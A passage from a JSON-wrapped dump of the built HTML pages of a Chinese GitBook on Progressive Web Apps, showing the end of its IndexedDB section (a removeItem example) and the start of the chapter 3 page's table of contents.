class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6253;&#x5370; Map(2) {</span>\n  <span class=\"token comment\">//   &apos;number&apos; =&gt; 1,</span>\n  <span class=\"token comment\">//   &apos;/path/to/data&apos;: {status: 0, data: &apos;Hello World&apos;}</span>\n  <span class=\"token comment\">// }</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">map</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>map<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x5220;&#x9664;&#x6570;&#x636E;-removeitem\"><a name=\"&#x5220;&#x9664;&#x6570;&#x636E;-removeitem\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5220;&#x9664;&#x6570;&#x636E;-removeitem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5220;&#x9664;&#x6570;&#x636E;-removeitem\" class=\"plugin-anchor\" href=\"#&#x5220;&#x9664;&#x6570;&#x636E;-removeitem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5220;&#x9664;&#x6570;&#x636E; removeItem()</h3>\n<p><code>removeItem()</code> &#x7528;&#x4E8E;&#x5220;&#x9664;&#x6570;&#x636E;&#xFF0C;&#x901A;&#x8FC7;&#x53C2;&#x6570; key &#x8FDB;&#x884C;&#x6570;&#x636E;&#x5339;&#x914D;&#x5E76;&#x5220;&#x9664;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">DB</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// ...</span>\n\n  <span class=\"token keyword\">async</span> <span class=\"token function\">removeItem</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">key</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x6570;&#x636E;&#x5E93;&#x5B9E;&#x4F8B;</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">getDB</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x521B;&#x5EFA;&#x4E8B;&#x52A1;&#xFF0C;&#x5E76;&#x6307;&#x5B9A;&#x597D;&#x4ED3;&#x5E93;&#x540D;&#x4EE5;&#x53CA;&#x5220;&#x9664;&#x64CD;&#x4F5C;&#x7684;&#x8BFB;&#x5199;&#x6743;&#x9650;</span>\n    <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;readwrite&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>storeName<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5220;&#x9664;&#x6570;&#x636E;&#xFF0C;&#x5E76;&#x7528; Promise &#x8FDB;&#x884C;&#x5305;&#x88F9;</span>\n    <span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span>key<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">return</span> <span class=\"token function\">promisify</span><span class=\"token punctuation\">(</span>request<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x5220;&#x9664;&#x6570;&#x636E;&#x64CD;&#x4F5C;&#x53EF;&#x4EE5;&#x7B80;&#x5316;&#x4E3A;&#x5982;&#x4E0B;&#x5F62;&#x5F0F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">db<span class=\"token punctuation\">.</span><span class=\"token function\">removeItem</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;number&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6570;&#x636E;&#x5220;&#x9664;&#x6210;&#x529F;&#x65F6; Promise &#x5BF9;&#x8C61;&#x6267;&#x884C; resolve</span>\n  <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5220;&#x9664;&#x6210;&#x529F;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"4-cache-api.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 3.4 Cache API\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"../chapter04.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 第4章 Service Worker\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"3.5 IndexedDB\",\"level\":\"1.4.5\",\"depth\":2,\"next\":{\"title\":\"第4章 Service Worker\",\"level\":\"1.5\",\"depth\":1,\"path\":\"chapter04.md\",\"ref\":\"chapter04.md\",\"articles\":[{\"title\":\"4.1 Service Worker 简介\",\"level\":\"1.5.1\",\"depth\":2,\"path\":\"chapter04/1-service-worker-introduction.md\",\"ref\":\"chapter04/1-service-worker-introduction.md\",\"articles\":[]},{\"title\":\"4.2 Service Worker 注册\",\"level\":\"1.5.2\",\"depth\":2,\"path\":\"chapter04/2-service-worker-register.md\",\"ref\":\"chapter04/2-service-worker-register.md\",\"articles\":[]},{\"title\":\"4.3 Service Worker 工作原理\",\"level\":\"1.5.3\",\"depth\":2,\"path\":\"chapter04/3-service-worker-dive.md\",\"ref\":\"chapter04/3-service-worker-dive.md\",\"articles\":[]},{\"title\":\"4.4 Service Worker 调试\",\"level\":\"1.5.4\",\"depth\":2,\"path\":\"chapter04/4-service-worker-debug.md\",\"ref\":\"chapter04/4-service-worker-debug.md\",\"articles\":[]}]},\"previous\":{\"title\":\"3.4 Cache API\",\"level\":\"1.4.4\",\"depth\":2,\"path\":\"chapter03/4-cache-api.md\",\"ref\":\"chapter03/4-cache-api.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter03/5-indexeddb.md\",\"mtime\":\"2019-06-19T10:37:42.128Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter03.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第3章 基础技术简介 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter03/1-promise.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter02/5-responsive-design.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 